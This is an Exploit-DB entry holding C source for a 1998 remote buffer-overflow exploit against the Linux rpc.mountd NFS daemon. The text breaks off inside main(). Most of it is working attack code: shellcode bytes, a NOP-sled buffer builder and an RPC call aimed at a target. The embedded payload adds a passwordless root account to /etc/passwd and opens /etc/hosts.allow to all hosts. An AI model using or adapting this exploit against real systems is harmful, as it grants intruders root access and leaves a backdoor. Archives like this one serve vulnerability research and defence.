Exploit-DB #19096
Description: RedHat Linux 5.1 / Caldera OpenLinux Standard 1.2 - Mountd
Type: remote
Platform: linux
Date: 1998-08-28
Author: LucySoft

Exploit:
// source: https://www.securityfocus.com/bid/121/info

NFS servers running certain implementations of mountd, primarily Linux systems. On some systems, the vulnerable NFS server is enabled by default. This vulnerability can be exploited even if the NFS server does not share any file systems.

This vulnerability is specifically a buffer overflow in the mount daemons logging code which is supposed to log unauthorized mount attempts.

/*
    rpc.mountd [remote] exploit by LucySoft [ luci@transart.ro ]

    [September 20, 1998]
    [version 0.4]

    tested on Red Hat Linux 5.1 (Manhattan)
    running nfs-server-2.2beta29

    I guess patches are available at ftp://ftp.redhat.com

    NOTE: if the remote host has /etc/exporfs non-empty,
    [shwomount -e remote_host]
    you must define __EXPORTS 2 and recompile

    I've tested on only two RH 5.1 systems, the offset was about 1000.

*/

#define __EXPORTFS      1


#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <linux/nfs.h>

#include "nfsmount.h"



static unsigned long            __offset = 1160;

/*
   check out code.c if you want to know what this means
*/

static char code[] =
{
    0xeb, 0x56, 0x5e, 0x56,
    0x56, 0x56, 0x31, 0xd2,
    0x88, 0x56, 0x0b, 0x88,
    0x56, 0x1e, 0x88, 0x56,

    0x27, 0x88, 0x56, 0x38,
    0xb2, 0x0a, 0x88, 0x56,
    0x1d, 0x88, 0x56, 0x26,
    0x5b, 0x31, 0xc9, 0x41,

    0x41, 0x31, 0xc0, 0xb0,
    0x05, 0xcd, 0x80, 0x50,
    0x89, 0xc3, 0x31, 0xc9,
    0x31, 0xd2, 0xb2, 0x02,

    0x31, 0xc0, 0xb0, 0x13,
    0xcd, 0x80, 0x58, 0x89,
    0xc2, 0x89, 0xc3, 0x59,
    0x52, 0x31, 0xd2, 0xb2,

    0x0c, 0x01, 0xd1, 0xb2,
    0x13, 0x31, 0xc0, 0xb0,
    0x04, 0x31, 0xd2, 0xb2,
    0x12, 0xcd, 0x80, 0x5b,

    0x31, 0xc0, 0xb0, 0x06,
    0xcd, 0x80, 0xeb, 0x3f,
    0xe8, 0xa5, 0xff, 0xff,
    0xff, 0x2f, 0x65, 0x74,

    0x63, 0x2f, 0x70, 0x61,
    0x73, 0x73, 0x77, 0x64,
    0x78, 0x7a, 0x3a, 0x3a,
    0x30, 0x3a, 0x30, 0x3a,

    0x3a, 0x2f, 0x3a, 0x2f,
    0x62, 0x69, 0x6e, 0x2f,
    0x73, 0x68, 0x78, 0x78,
    0x41, 0x4c, 0x4c, 0x3a,

    0x41, 0x4c, 0x4c, 0x78,
    0x78, 0x2f, 0x65, 0x74,
    0x63, 0x2f, 0x68, 0x6f,
    0x73, 0x74, 0x73, 0x2e,

    0x61, 0x6c, 0x6c, 0x6f,
    0x77, 0x78, 0xff, 0x5b,
    0x53, 0x31, 0xc9, 0xb1,
    0x28, 0x01, 0xcb, 0xb1,

    0x02, 0x31, 0xc0, 0xb0,
    0x05, 0xcd, 0x80, 0x50,
    0x89, 0xc3, 0x31, 0xc9,
    0x31, 0xd2, 0xb2, 0x02,

    0x31, 0xc0, 0xb0, 0x13,
    0xcd, 0x80, 0x5b, 0x59,
    0x53, 0x31, 0xd2, 0xb2,
    0x1f, 0x01, 0xd1, 0xb2,

    0x08, 0x31, 0xc0, 0xb0,
    0x04, 0xcd, 0x80, 0x5b,
    0x31, 0xc0, 0xb0, 0x06,
    0xcd, 0x80, 0x31, 0xc0,
    0x40, 0xcd, 0x80
};



unsigned long get_esp()
{
   __asm__("movl %esp,%eax");
}


void _fill_hostile_buffer(char *ptr)
{
    char        *buff;
    unsigned    retaddr = get_esp() + __offset;
    int         length;

    memset(ptr, 0x90, 1024);

    length = strlen(code);

    memcpy(ptr + 1024 - length - 40 - __EXPORTFS, code, length);
    buff = ptr + 1024 - 40 - __EXPORTFS;

    while (buff < (ptr + 1024))
    {
        *(unsigned*)buff = (unsigned)retaddr;
        buff += sizeof(unsigned);
    }
    ptr[1023] = '\0';

    fprintf(stderr, "code length = %d, used retaddr is %x\n", length,
retaddr);

}

/*
    ripped off from nfsmount.c [ mount-2.7l.rpm - RH 5.1 ]
*/


int _nfsmount(char* hostname, char *dirname)
{
        CLIENT  *mclient;
        int     mountprog, mountvers;
        int     nfsprog, nfsvers;
        int     mountport = 0;
        int     clnt_stat;
        int     msock, fsock;

        struct  hostent *hp;
        struct  sockaddr_in server_addr;
        struct  fhstatus status;
        struct  timeval total_timeout, retry_timeout;



        if (!(hp = gethostbyname(hostname)))
        {
            fprintf(stderr, "mx: can't get address for %s\n", hostname);
            return(-1);
        }


        server_addr.sin_family = AF_INET;
        memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);

        mountprog = MOUNTPROG;
        mountvers = MOUNTVERS;

        nfsprog = NFS_PROGRAM;
        nfsvers = NFS_VERSION;

        total_timeout.tv_usec = 0;
        total_timeout.tv_sec = 20;

        retry_timeout.tv_usec = 0;
        retry_timeout.tv_sec = 3;

        server_addr.sin_port = htons(mountport);
        msock = RPC_ANYSOCK;

        fprintf(stderr, "ok, attacking target %s\n", hp->h_name);

        mclient = clntudp_create(&server_addr,
            mountprog, mountvers,
            retry_timeout, &msock);

        if (mclient)
        {
            mclient->cl_auth = authunix_create_default();
            clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
                (xdrproc_t) xdr_dirpath, (caddr_t) &dirname,
                (xdrproc_t) xdr_fhstatus, (caddr_t) &status,
                total_timeout);

            if (clnt_stat != RPC_SUCCESS)
            {
                /*

                auth_destroy(mclient->cl_auth);
                clnt_destroy(mclient);
                close(msock);

                clnt_perror(mclient, "mx clnt_call");
                */
                return(msock);
            }
            fprintf(stderr, "successful clnt_call\n");
            return(msock);
        }
        else
        {
            clnt_pcreateerror("mx clntudp_create");
            return(-1);
        }


        auth_destroy(mclient->cl_auth);
        clnt_destroy(mclient);
        close(msock);
        return (-1);
}


int main(int argc, char *argv[])
{
    int         k, sock;
    char